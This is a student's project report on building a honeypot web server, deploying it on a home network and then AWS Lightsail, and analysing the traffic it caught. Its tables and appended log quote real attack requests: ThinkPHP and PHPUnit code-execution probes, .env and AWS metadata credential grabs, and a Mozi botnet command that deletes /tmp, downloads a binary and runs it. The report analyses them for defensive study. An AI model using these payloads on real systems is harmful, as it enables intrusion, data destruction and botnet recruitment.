Chris Cohen

HONEYPOTS

Creation, Deployment, and Analysis

Purdue University
CS422 - Final Project
May 5, 2020

1 Problem Definition

A honeypot is a term used in cyber security describing a network entity that purposefully lures attackers away from some more important part of a network. Since it is typically a dead end with no access to any real, desirable information, it is particularly useful for distracting and frustrating attackers. People are constantly scanning the internet for vulnerabilities, and can shut down an entire network if the opportunity is presented. A honeypot is an extra layer of security, and even though it may not capture every attacker, it may take a good portion of malicious traffic away. One common use is to deploy a bugged, seemingly important web server to collect information on visitors. Analyzing this information is useful as a test bench for identifying network vulnerabilities before they can be exploited to cause real damage elsewhere.

2 Motivation

I chose this project in order to learn more about my field of study, cyber security. As I've applied to internships over the past year, it's been increasingly evident that this field is tough to break into. When a company looks for an employee to help secure important assets, an inexperienced student is their last choice. Employers think highly of those who have completed personal projects, so this was the perfect opportunity to stand out. I knew that I had to start with something simple so that I didn't overwhelm myself, and creating a honeypot seemed like the best idea. The mention of a honeypot on the project rubric intrigued me - it seemed so simple, yet effective if done right. I already had a HTTP web server to build off of, so I wouldn't be spending much time on the basics. Additionally, in the future, I could easily convert it into a normal web server for my personal needs. Going into this project, I realized that this would be tough, as hosting a web server on your home network is almost never advised. I welcomed the challenge - I knew that any difficulties I ran into would help me learn much more than I set out to.

3 Related Work

3.1 HoneyHTTPD

One particular project that inspired me is *HoneyHTTPD*, which makes it easy to set up fake web servers and record requests. It proved helpful when I wasn't sure how to efficiently structure my server code, and when I wasn't sure how to generate self-signed SSL certificates for testing. Hartman [2] also used object-oriented programming to allow for multiple types of servers to be used. It's a cool concept, but I couldn't think of a situation where it would be useful, so I decided against implementing it. It also didn't seem very convincing, since there was nearly no data to access and distract an attacker. To build off of this, I decided to implement a single server that contained lots of data to browse. There is also functionality to deploy multiple honeypot servers at once, each listening on different ports. Originally, I attempted to use this idea, but ultimately decided against it since my original server,

deployed on a Raspberry Pi 3 B+, suffered in performance. Overall, this project was a very good start for brainstorming, giving me multiple good leads to start testing.

3.2 StackHoneyPot

Another project that I found very interesting is called *Stack Honeypot* - a honeypot specifically for detection and trapping of spam bots. When I originally looked up the term "honeypot", this sort of application was my first thought. One of the main goals of a honeypot is to redirect malicious traffic from the real server, preventing any attacks possibly causing a break in service. This honeypot detects if a field in a response form has been altered. A bot likely wants to fill out all fields given to it, so if the dummy field (invisible to a normal user) is filled out, it will be obvious that the client is a bot. If detected, it sends the bot to a dead end blank page. Although I didn't implement this exactly, I ran with the idea of an automatic blacklisting functionality. I get into this more in the next section, but the basic overview is that if a client connects 10 or more times in 3 seconds, the associated IP will be banned from connecting. Admittedly, this may not be the best approach, since the attacker could move on and find the actual server, but it may frustrate an attacker enough to stop them from trying. I don't want spam requests to slow down the honeypot, either, so it adequately fits my needs.

4 Completed Work

4.1 Creation

4.1.1 Server Response

In order to create an effective honeypot, I had to craft a reasonably robust, convincing web server. This meant that I had to implement significantly more features on top of my original HTTP server. The final product implements 14 different response codes, each serving a real purpose on the server. The most important of these are the 500 level response codes, informing the client of any internal server errors. I realize that this server will inevitably have bugs, so I make sure that the server cannot crash due to any exploits or attacks.

4.1.2 Browsing

Although the primary targets for this server are bots, there is always a chance that an actual person visits. In this case, I wanted to make sure that it seemed like a real server, so I implemented interactive directory browsing. For each directory, the server displays HTML that give links to each other file and directory present, along with icons, file size, and last modified date. The server also supports 10 different file extensions, so each file that is present can be opened with the click of a mouse. This functionality also made the server a lot easier to manually test.

4.1.3 SSL Certification

The recent unit on Computer Security inspired me to try SSL certification. Following the instructions in *SSL All The Things*, I was able to set up HTTPS, and used a self-signed certificate for testing. When the time came to deploy, I could no longer use the self-signed certificate. Luckily for me, I had just purchased a domain in the winter, so it was relatively simple to map the IP that I was serving to a subdomain. Using *Let's Encrypt* [5]'s "Certbot" script, I was able to verify ownership of my domain and receive a legitimate SSL certificate. After setting up the certificates and private keys for my server, I made sure to force a 301 redirect on any clients that attempted to connect without HTTPS. Most real-world servers do this, so it only seemed right.

4.1.4 Logging

In order to know anything about how successful this project was, I needed to record connections made to the server. Using my very base-level knowledge of MySQL, I was able to set up a local instance that the web server logged to. Each listing contains the timestamp, client IP, client port, host name (if IP is known), and request given to the server. This simple step allowed me to analyze incoming connections at the end, and tweak the structure of the server when needed.

4.1.5 Blacklisting

At this point in the development process, there was nothing special about the honeypot. Inspired by Hochstrasser [3]'s *Stack Honeypot*, I decided to implement blacklisting. I made a script that scanned the local MySQL database, checking for any repeat requests made. I had nowhere near enough time to analyze each individual connection for malicious activity, so I decided to just implement spam protection. If a client requests the same URL 10+ times within 3 seconds, that client will be IP banned. Even though a honeypot is supposed to absorb, rather than ban, malicious traffic, a DDoS attack would certainly slow my server down. I needed it to be running in top shape at all times, so spam protection seemed necessary.

4.1.6 Honeypot Structure

A honeypot has no purpose without attackers. The idea is to make it look enticing to any malicious clients, so I made it look like a misconfigured server. The root directory consists of a fake web server, README, helper functions, and SSL certs/keys. This gives the illusion that the server is serving the parent directory of the actual server root (titled 'htdocs'). The exposed key files should be especially tempting to attackers.

4.2 Deployment

4.2.1 On Home Network

My intent was to deploy the honeypot by Saturday, April 25th, giving me just shy of a week to collect data. However, I ran into many more problems than anticipated. The source code

was completed by Saturday, as planned, but deploying it took a bit of tweaking, mainly concerning SSL certification. After all issues and bugs were seemingly ironed out, the initial test run was deployed on Sunday, April 26th. Within hours, my router had been taken down. I was aware of the risks of exposing your network to the public, but had no idea that it would be this much of a pain. Following three or four internet outages later, and numerous failed attempts to better secure my network, I conceded.

4.2.2 On Amazon Lightsail

My next move was to host on Amazon Lightsail, a service that provides a VPS (Virtual Private Server). I chose this because it offered a month of hosting for free, and gave me a full-fledged virtual Ubuntu 18.04 LTS server to work with, nearly identical to my home setup. Originally, I was skeptical. The whole reason that I set up my honeypot on my home network was because I thought that a home network would seem more enticing to attackers. Who would try to attack an Amazon server? Surprisingly, I got the same amount of traffic, if not more. After successfully setting up the VPS, I collected data for the following few days. I started out with my originally planned HTTPS server, but I noticed in the live server output that multiple clients attempted to connect with HTTP, were rejected, and never attempted to reconnect. Given the short period of time that I had to test, I wanted as many data points as possible. I saw no drawback in only accepting HTTP connections, especially since I'm not sending anything important or hosting the website on my own network. From Wednesday, April 29th and onwards, my server only accepted HTTP requests, giving me more data points to work with. This should have been my approach from the beginning - attackers are obviously going to be more attracted to a less secure protocol.

4.3 Analysis

Going into this project, I didn't expect much data to work with, but was pleasantly surprised at the amount of traffic that my server received. In just a few days, I received hundreds of requests from over 50 different clients [1]!

Most of the entries are clearly bots, since requests are often for files that don't exist on the server. As I analyzed more entries, it's evident that nearly every single request was made by a bot. This isn't extremely surprising, since it's an unknown website. What did surprise me, however, is that these bots didn't seem very smart. Most of the requests are for files that don't exist on the server. My guess is that these requests are common vulnerabilities in other pre-built servers, such as Apache or Lighttpd. At this point, I can say that the time spent on setting up a vulnerable-looking web server was nearly useless. Instead, I can analyze each request to see what these clients are trying to exploit. A large portion of requests were likely port scanners, which isn't anything new, so I will ignore those. Below, I analyze the more interesting entries.

[1] Complete log file is attached at the end of the report

4.3.1 Blacklisting

Table 1		
timestamp	**ip**	**request**
2020-04-29 01:57:04	24.171.16.6	GET /
2020-04-29 01:57:08	24.171.16.6	GET /myserver.py
2020-04-29 01:57:08	24.171.16.6	GET /favicon.ico
2020-04-29 01:57:32	24.171.16.6	GET /vars/
2020-04-29 01:57:33	24.171.16.6	GET /vars/constants.py
2020-04-29 01:57:42	24.171.16.6	GET /vars/keys/
2020-04-29 01:57:43	24.171.16.6	GET /vars/keys/key.pem
2020-04-29 01:57:46	24.171.16.6	GET /vars/keys/auth.txt
2020-04-29 01:57:48	24.171.16.6	GET /vars/keys/cert.pem
2020-04-29 01:57:51	24.171.16.6	GET /vars/__pycache__/
2020-04-29 01:59:03	24.171.16.6	GET /
2020-04-29 01:59:03	24.171.16.6	GET /
2020-04-29 01:59:03	24.171.16.6	GET /
2020-04-29 01:59:04	24.171.16.6	GET /
2020-04-29 01:59:04	24.171.16.6	GET /
2020-04-29 01:59:04	24.171.16.6	GET /
2020-04-29 01:59:04	24.171.16.6	GET /
2020-04-29 01:59:04	24.171.16.6	GET /
2020-04-29 01:59:05	24.171.16.6	GET /
2020-04-29 01:59:05	24.171.16.6	GET /
2020-04-29 01:59:05	24.171.16.6	GET /
2020-04-29 01:59:05	24.171.16.6	GET /
2020-04-29 01:59:05	24.171.16.6	GET /

Looking at specific log entries, it's pretty clear that some attacks were being made. For example, Table 1 shows somebody poking around in the server's fake key and certificate files, giving up (since they're fake), and spamming the server with 'GET /' requests. Since this client requested the same URL 13 times within 3 seconds, it was banned. This was especially exciting for me - I wasn't sure if blacklisting would prove useful. Unfortunately, this was the only instance of the blacklist banning an IP, though. It's also seemingly the only instance of a real human visiting the website, since every request is for a real file.

4.3.2 Amazon Instance Identity Document

Table 2	
ip	**request**
44.224.22.196	GET /latest/dynamic/instance-identity/document
44.224.22.196	GET /latest/dynamic/instance-identity/document
44.225.84.206	GET /latest/dynamic/instance-identity/document
44.225.84.206	GET /latest/dynamic/instance-identity/document
44.225.84.206	GET /latest/dynamic/instance-identity/document
44.225.84.206	GET /latest/dynamic/instance-identity/document
44.224.22.196	GET /latest/dynamic/instance-identity/document
44.224.22.196	GET /latest/dynamic/instance-identity/document
44.224.22.196	GET /latest/dynamic/instance-identity/document
44.224.22.196	GET /latest/dynamic/instance-identity/document
44.224.22.196	GET /latest/dynamic/instance-identity/document
44.224.22.196	GET /latest/dynamic/instance-identity/document
44.224.22.196	GET http://169.254.169.254/latest/dynamic/instance-identity/document
44.224.22.196	GET http://[::ffff:a9fe:a9fe]/latest/dynamic/instance-identity/document
44.224.22.196	GET /latest/dynamic/instance-identity/document
44.224.22.196	GET /latest/dynamic/instance-identity/document
44.224.22.196	GET http://169.254.169.254/latest/dynamic/instance-identity/document
44.224.22.196	GET http://[::ffff:a9fe:a9fe]/latest/dynamic/instance-identity/document
44.224.22.196	GET /latest/dynamic/instance-identity/document
44.224.22.196	GET /latest/dynamic/instance-identity/document

One very common request was one to steal the server's 'Instance Identity Document', which is a document created by VPS Amazon servers. From what I could find, it holds information about the VPS that you use. This is interesting, because it means that the clients knew that I was hosting on an Amazon server. These ranged from simply requesting the '/latest/dynamic/instance-identity/document' file, to some other interesting formats. The IP '169.254.169.254' is present, seemingly random. With a bit of research, I found that it's a dynamically configured link-local address, not a valid IP to route to from an outside network. This specific instance is for metadata distribution to Amazon EC2 servers. After noticing that all of these requests were sent from very close IPs, I researched a bit more. The IP address '44.224.22.***' is tied to an Amazon AWS server. This would explain how it knew about the Amazon-specific instance identity document. The IPv6 address '::ffff:a9fe:a9fe' is also tied to an Amazon AWS instance, supposedly a security scanner. It's strange that somebody would be doing this from an Amazon server.

4.3.3 Unauthorized Code Execution

Table 3	
ip	**request**
5.101.0.209	GET /index.php?s=/Index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP
5.101.0.209	GET /?XDEBUG_SESSION_START=phpstorm
5.101.0.209	POST /api/jsonws/invoke
5.101.0.209	GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
5.101.0.209	POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
5.101.0.209	GET /solr/admin/info/system?wt=json
5.101.0.209	GET /?XDEBUG_SESSION_START=phpstorm
5.101.0.209	GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>
5.101.0.209	GET /index.php?s=/Index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP
154.8.204.200	GET /TP/public/index.php
154.8.204.200	GET /TP/index.php
154.8.204.200	GET /thinkphp/html/public/index.php
154.8.204.200	GET /html/public/index.php
154.8.204.200	GET /public/index.php
154.8.204.200	GET /TP/html/public/index.php
154.8.204.200	GET /elrekt.php
154.8.204.200	GET /index.php
5.101.0.209	POST /api/jsonws/invoke
110.52.140.106	GET /phpMyAdmin/scripts/setup.php
110.52.140.106	GET /phpmyadmin/scripts/setup.php
110.52.140.106	GET /pma/scripts/setup.php
110.52.140.106	GET /myadmin/scripts/setup.php
110.52.140.106	GET /MyAdmin/scripts/setup.php
18.138.224.111	POST //admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //dev/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //lib/phpunit/Util/PHP/eval-stdin.php
18.138.224.111	POST //lib/phpunit/phpunit/Util/PHP/eval-stdin.php
18.138.224.111	POST //lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //lib/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //new/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //old/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //phpunit/Util/PHP/eval-stdin.php
18.138.224.111	POST //phpunit/phpunit/Util/PHP/eval-stdin.php
18.138.224.111	POST //phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //protected/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //vendor/phpunit/Util/PHP/eval-stdin.php
18.138.224.111	POST //vendor/phpunit/phpunit/Util/PHP/eval-stdin.php
18.138.224.111	POST //vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //vendor/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //wp-content/plugins/cloudflare/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //wp-content/plugins/dzs-videogallery/class_parts/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //wp-content/plugins/jekyll-exporter/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //wp-content/plugins/mm-plugin/inc/vendors/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
110.52.140.106	GET /phpMyAdmin/scripts/setup.php
110.52.140.106	GET /phpmyadmin/scripts/setup.php
110.52.140.106	GET /pma/scripts/setup.php
110.52.140.106	GET /myadmin/scripts/setup.php
110.52.140.106	GET /MyAdmin/scripts/setup.php
5.101.0.209	GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

Another very common type of request was to execute PHP code or Javascript that may have been present. I expected to receive these - it's the most common attack on web servers. The requests range from simple admin setup scripts complicated requests using a query string to execute code. My guess is that the longer requests attempted to exploit the query string parsing, similar to how SQL injection works. Luckily, I never use the query string in my server, so this was negligible. The POST requests also seem to try to maliciously exploit the URI parser, using 2 slashes at the beginning. If my server used PHP or JS, and was more in-depth, these requests may have been compromising. Just glancing over the requests, it impresses me that people have figured out a way to sanitize input and prevent these sorts of attacks.

4.3.4 Significant Attack

Table 4	
ip	**request**
18.138.224.111	GET /
18.138.224.111	GET /.env
18.138.224.111	GET /.remote
18.138.224.111	GET /.local
18.138.224.111	GET /.production
18.138.224.111	GET /vendor/.env
18.138.224.111	GET /lib/.env
18.138.224.111	GET /lab/.env
18.138.224.111	GET /cronlab/.env
18.138.224.111	GET /cron/.env
18.138.224.111	GET /core/.env
18.138.224.111	GET /core/app/.env
18.138.224.111	GET /core/Datavase/.env
18.138.224.111	GET /database/.env
18.138.224.111	GET /config/.env
18.138.224.111	GET /assets/.env
18.138.224.111	GET /app/.env
18.138.224.111	GET /apps/.env
18.138.224.111	GET /uploads/.env
18.138.224.111	GET /sitemaps/.env
18.138.224.111	POST //admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //dev/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //lib/phpunit/Util/PHP/eval-stdin.php
18.138.224.111	POST //lib/phpunit/phpunit/Util/PHP/eval-stdin.php
18.138.224.111	POST //lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //lib/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //new/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //old/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //phpunit/Util/PHP/eval-stdin.php
18.138.224.111	POST //phpunit/phpunit/Util/PHP/eval-stdin.php
18.138.224.111	POST //phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //protected/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //vendor/phpunit/Util/PHP/eval-stdin.php
18.138.224.111	POST //vendor/phpunit/phpunit/Util/PHP/eval-stdin.php
18.138.224.111	POST //vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //vendor/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //wp-content/plugins/cloudflare/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //wp-content/plugins/dzs-videogallery/class_parts/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //wp-content/plugins/jekyll-exporter/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //wp-content/plugins/mm-plugin/inc/vendors/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
18.138.224.111	POST //www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

The most significant attack on the server happened during the evening of April 29th. The IP '18.138.224.111' comes from Singapore, and ended up making over 50 requests to the server by the time that I shut it down. The client tries to request some common resources, like core, library, and config files. It then moves on and tries to execute PHP code, like I mentioned in the previous section. Looking closely, there are some requests for server environment information, Cloudflare, and Jekyll. The attacker was clearly trying to gain more information on the server, making it easier to narrow down possible vulnerabilities. Although it didn't make any real progress, it shows the complexity that some of these attakers have. This is for a mundane web server, too. Imagine what sorts of spam and attacks would happen to somewhere more important!

4.3.5 Reverse Shell

Table 5	
ip	**request**
49.143.32.6	GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

The scariest attack, obviously from somebody who knew what they were doing, was one that attempted to create a reverse shell. If successful, it would go into '/tmp', remove everything (rm -rf *), download 'Mozi', and executes it. 'Mozi' is a family of malware used to form a P2P botnet that often performs DDoS attacks. This means that, instead of DDoS packets coming from one place, they come from real clients scattered across the world. This was an attempt to use my server to send denial-of-service packets to other servers. If successful, my server could have been blacklisted from some places, making it annoying to continue using. It would also likely get me in trouble with Amazon. This simple request would almost certainly go undetected in a normal server. Luckily, this file didn't exist on the server, so my security went uncompromised.

5 Conclusion

If given the chance to do this project again, I would change a few things. After a day or two, it became clear that my method of setting up the server to look vulnerable was not extremely effective. A majority of attackers requested common authentication files, or tried to make the server unintentionally execute code. I would put in a bit more research towards the most common files and vulnerabilities that attackers look for. I would have given myself more time to gather data and restructure the server as needed. Hacking entities on the internet are often bots that look for common vulnerabilities - rarely real people. Less focus should have been put on the directory browsing, since I only had a few instances that made it seem like a real person was on my server. One possible route would to be with the available SSL ciphers. When an SSL connection is made, the server presents the available SSL ciphers to use. One common attack is to go in and delete the strong ciphers from that list. Maybe I could research ciphers and hand-pick ones that are relatively weak. This may draw more traffic from clients looking to exploit the weak connection. In addition to these changes, I would steer clear of hosting the server on my home network. It only caused me headaches, and gave me less data to work with. The longer that I left the server up, the more active it became, so if I avoided self-hosting from the beginning, I would have significantly more data.

This project made me realize just how many attacks occur on the internet, most of which we don't ever know of. My completely unimportant web server experienced a significant amount of attacks in a relatively short period of time. I can only imagine what a desirable target like the FBI has to deal with. Especially at higher levels, this type of work is risky if you don't know exactly what you're doing. It makes me excited for the future of my career in cyber security. It's an interesting occupation - if you do your job well, nobody knows, but if you mess up just once, significant damage could be done. I have a feeling that this project won't quite end here, maybe stemming into a hobby to beef up my network security. This project has sparked interest in me at a level that school hasn't, and I'm eager to learn more.

References

[1] Chris Cohen. *HTTPS Web Server Honeypot*. 2020. URL: https://github.com/cohenchris/honeypot_webserver.

[2] Jacob Hartman. *HoneyHTTPD*. 2018. URL: https://github.com/bocajspear1/honeyhttpd.

[3] Christoph Hochstrasser. *Stack Honeypot*. 2014. URL: https://github.com/CHH/stack-honeypot.

[4] Markus Holtermann. *SSL All The Things*. SpeakerDeck. Sept. 16, 2016. URL: https://speakerdeck.com/markush/ssl-all-the-things-pycon-nz-2016?slide=18.

[5] *Let's Encrypt*. Internet Security Research Group. 2020. URL: https://letsencrypt.org/.

LOGS (missing some days, removed my IP)

num	timestamp	ip	request
20	2020-04-28 19:52:45	128.14.134.170	GET /version
21	2020-04-28 19:52:50	128.14.134.170	GET /
46	2020-04-28 23:43:31	66.102.6.230	GET /
47	2020-04-28 23:43:32	74.125.210.35	GET /
48	2020-04-28 23:45:25	144.168.162.250	GET /
49	2020-04-29 00:39:16	44.224.22.196	GET /
50	2020-04-29 00:39:16	44.224.22.196	GET /
51	2020-04-29 00:39:16	44.224.22.196	GET /latest/dynamic/instance-identity/document
52	2020-04-29 00:39:17	44.224.22.196	GET /latest/dynamic/instance-identity/document
53	2020-04-29 01:37:39	44.225.84.206	GET /
54	2020-04-29 01:37:39	44.225.84.206	GET /
55	2020-04-29 01:37:39	44.225.84.206	GET /latest/dynamic/instance-identity/document
56	2020-04-29 01:37:40	44.225.84.206	GET /latest/dynamic/instance-identity/document
57	2020-04-29 01:57:04	24.171.16.6	GET /
58	2020-04-29 01:57:08	24.171.16.6	GET /myserver.py
59	2020-04-29 01:57:08	24.171.16.6	GET /favicon.ico
60	2020-04-29 01:57:32	24.171.16.6	GET /vars/
61	2020-04-29 01:57:33	24.171.16.6	GET /vars/constants.py
62	2020-04-29 01:57:42	24.171.16.6	GET /vars/keys/
63	2020-04-29 01:57:43	24.171.16.6	GET /vars/keys/key.pem
64	2020-04-29 01:57:46	24.171.16.6	GET /vars/keys/auth.txt
65	2020-04-29 01:57:48	24.171.16.6	GET /vars/keys/cert.pem
66	2020-04-29 01:57:51	24.171.16.6	GET /vars/__pycache__/
67	2020-04-29 01:59:03	24.171.16.6	GET /
68	2020-04-29 01:59:03	24.171.16.6	GET /
69	2020-04-29 01:59:03	24.171.16.6	GET /
70	2020-04-29 01:59:04	24.171.16.6	GET /
71	2020-04-29 01:59:04	24.171.16.6	GET /
72	2020-04-29 01:59:04	24.171.16.6	GET /
73	2020-04-29 01:59:04	24.171.16.6	GET /
74	2020-04-29 01:59:04	24.171.16.6	GET /
75	2020-04-29 01:59:05	24.171.16.6	GET /
76	2020-04-29 01:59:05	24.171.16.6	GET /
77	2020-04-29 01:59:05	24.171.16.6	GET /
78	2020-04-29 01:59:05	24.171.16.6	GET /
79	2020-04-29 01:59:05	24.171.16.6	GET /
80	2020-04-29 02:47:49	162.243.136.47	GET /ReportServer
86	2020-04-29 04:18:00	184.105.247.196	GET /
93	2020-04-29 06:35:19	83.97.20.31	GET /
94	2020-04-29 09:32:20	193.118.53.194	GET /
95	2020-04-29 10:09:22	162.243.137.42	GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f
97	2020-04-29 13:04:25	44.225.84.206	GET /
98	2020-04-29 13:04:26	44.225.84.206	GET /
99	2020-04-29 13:04:26	44.225.84.206	GET /latest/dynamic/instance-identity/document
100	2020-04-29 13:04:27	44.225.84.206	GET /latest/dynamic/instance-identity/document
105	2020-04-29 13:51:06	44.224.22.196	GET /
106	2020-04-29 13:51:07	44.224.22.196	GET /
107	2020-04-29 13:51:07	44.224.22.196	GET /latest/dynamic/instance-identity/document

108	2020-04-29 13:51:08	44.224.22.196	GET /latest/dynamic/instance-identity/document
114	2020-04-29 14:08:31	5.101.0.209	GET /index.php?s=/Index/ hinkapp/invokefunction&function=call_us
115	2020-04-29 14:10:26	5.101.0.209	GET /?XDEBUG_SESSION_START=phpstorm
116	2020-04-29 14:16:28	5.101.0.209	POST /api/jsonws/invoke
121	2020-04-29 15:32:01	45.83.66.209	GET /
122	2020-04-29 16:40:13	5.101.0.209	GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
123	2020-04-29 16:40:13	5.101.0.209	POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
129	2020-04-29 19:51:43	162.243.142.72	GET /
144	2020-04-30 01:04:32	44.224.22.196	GET /
145	2020-04-30 01:04:32	44.224.22.196	GET /
146	2020-04-30 01:04:32	44.224.22.196	GET /
147	2020-04-30 01:04:33	44.224.22.196	GET /latest/dynamic/instance-identity/document
148	2020-04-30 01:04:33	44.224.22.196	GET /latest/dynamic/instance-identity/document
158	2020-04-30 01:06:01	44.224.22.196	GET /
159	2020-04-30 01:06:02	44.224.22.196	GET /
160	2020-04-30 01:06:02	44.224.22.196	GET /
161	2020-04-30 01:06:02	44.224.22.196	GET /latest/dynamic/instance-identity/document
162	2020-04-30 01:06:03	44.224.22.196	GET /latest/dynamic/instance-identity/document
163	2020-04-30 01:06:24	184.105.247.196	GET /
179	2020-04-30 05:08:08	164.52.24.162	GET /
180	2020-04-30 06:14:35	62.173.152.144	GET / HTTP/1.0
181	2020-04-30 08:22:05	5.101.0.209	GET /solr/admin/info/system?wt=json
182	2020-04-30 08:31:04	5.101.0.209	GET /?XDEBUG_SESSION_START=phpstorm
183	2020-04-30 08:31:04	5.101.0.209	GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>
184	2020-04-30 08:34:06	5.101.0.209	GET /index.php?s=/Index/ hinkapp/invokefunction&function=call_us
185	2020-04-30 08:50:18	83.97.20.31	GET / HTTP/1.0
186	2020-04-30 09:48:07	154.8.204.200	GET /TP/public/index.php
187	2020-04-30 09:48:08	154.8.204.200	GET /TP/index.php
188	2020-04-30 09:48:08	154.8.204.200	GET /thinkphp/html/public/index.php
189	2020-04-30 09:48:09	154.8.204.200	GET /html/public/index.php
190	2020-04-30 09:48:10	154.8.204.200	GET /public/index.php
191	2020-04-30 09:48:11	154.8.204.200	GET /TP/html/public/index.php
192	2020-04-30 09:48:11	154.8.204.200	GET /elrekt.php
193	2020-04-30 09:48:12	154.8.204.200	GET /index.php
194	2020-04-30 09:48:13	154.8.204.200	GET /
195	2020-04-30 10:50:20	5.101.0.209	POST /api/jsonws/invoke
196	2020-04-30 12:14:13	44.224.22.196	GET http://example.com/
197	2020-04-30 12:14:14	44.224.22.196	GET http://169.254.169.254/
198	2020-04-30 12:14:14	44.224.22.196	GET http://[::ffff:a9fe:a9fe]/
199	2020-04-30 12:14:14	44.224.22.196	GET http://169.254.169.254/latest/dynamic/instance-identity/docume
200	2020-04-30 12:14:14	44.224.22.196	GET http://[::ffff:a9fe:a9fe]/latest/dynamic/instance-identity/documer
201	2020-04-30 12:14:15	44.224.22.196	GET /
202	2020-04-30 12:14:15	44.224.22.196	GET /
203	2020-04-30 12:14:15	44.224.22.196	GET /
204	2020-04-30 12:14:15	44.224.22.196	GET /latest/dynamic/instance-identity/document
205	2020-04-30 12:14:16	44.224.22.196	GET /latest/dynamic/instance-identity/document
206	2020-04-30 12:22:46	110.52.140.106	GET /w00tw00t.at.blackhats.romanian.anti-sec:)
207	2020-04-30 12:22:52	110.52.140.106	GET /phpMyAdmin/scripts/setup.php
208	2020-04-30 12:22:58	110.52.140.106	GET /phpmyadmin/scripts/setup.php
209	2020-04-30 12:23:04	110.52.140.106	GET /pma/scripts/setup.php
210	2020-04-30 12:23:10	110.52.140.106	GET /myadmin/scripts/setup.php
211	2020-04-30 12:23:16	110.52.140.106	GET /MyAdmin/scripts/setup.php

212	2020-04-30 12:26:45	18.138.224.111	GET /
213	2020-04-30 12:26:46	18.138.224.111	GET /.env
214	2020-04-30 12:26:46	18.138.224.111	GET /.remote
215	2020-04-30 12:26:47	18.138.224.111	GET /.local
216	2020-04-30 12:26:47	18.138.224.111	GET /.production
217	2020-04-30 12:26:48	18.138.224.111	GET /vendor/.env
